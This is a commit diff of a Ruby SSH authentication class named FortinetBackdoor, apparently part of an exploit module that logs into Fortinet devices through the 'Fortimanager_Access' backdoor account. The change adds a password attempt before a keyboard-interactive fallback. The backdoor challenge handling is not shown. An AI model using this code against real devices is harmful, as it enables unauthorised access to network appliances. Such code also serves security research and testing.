1
1
# -*- coding: binary -*-
2
2
3
+ # https://www.ietf.org/rfc/rfc4252.txt
3
4
# https://www.ietf.org/rfc/rfc4256.txt
4
5
5
6
require 'net/ssh'
@@ -11,21 +12,21 @@ class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentica
11
12
USERAUTH_INFO_RESPONSE = 61
12
13
13
14
def authenticate ( service_name , username = 'Fortimanager_Access' , password = nil )
14
- debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
15
+ debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password) ' }
15
16
16
17
send_message ( userauth_request (
17
18
=begin
18
- string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
19
- string service name (US-ASCII)
20
- string "keyboard-interactive" (US-ASCII)
21
- string language tag (as defined in [RFC-3066])
22
- string submethods ( ISO-10646 UTF-8)
19
+ string user name
20
+ string service name
21
+ string "password"
22
+ boolean FALSE
23
+ string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
23
24
=end
24
25
username ,
25
26
service_name ,
26
- 'keyboard-interactive ' ,
27
- '' ,
28
- ''
27
+ 'password ' ,
28
+ false ,
29
+ password || ''
29
30
) )
30
31
31
32
loop do
@@ -37,7 +38,22 @@ def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
37
38
return true
38
39
when USERAUTH_FAILURE
39
40
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
40
- return false
41
+ debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }
42
+
43
+ send_message ( userauth_request (
44
+ =begin
45
+ string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
46
+ string service name (US-ASCII)
47
+ string "keyboard-interactive" (US-ASCII)
48
+ string language tag (as defined in [RFC-3066])
49
+ string submethods (ISO-10646 UTF-8)
50
+ =end
51
+ username ,
52
+ service_name ,
53
+ 'keyboard-interactive' ,
54
+ '' ,
55
+ ''
56
+ ) )
41
57
when USERAUTH_INFO_REQUEST
42
58
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
43
59
0 commit comments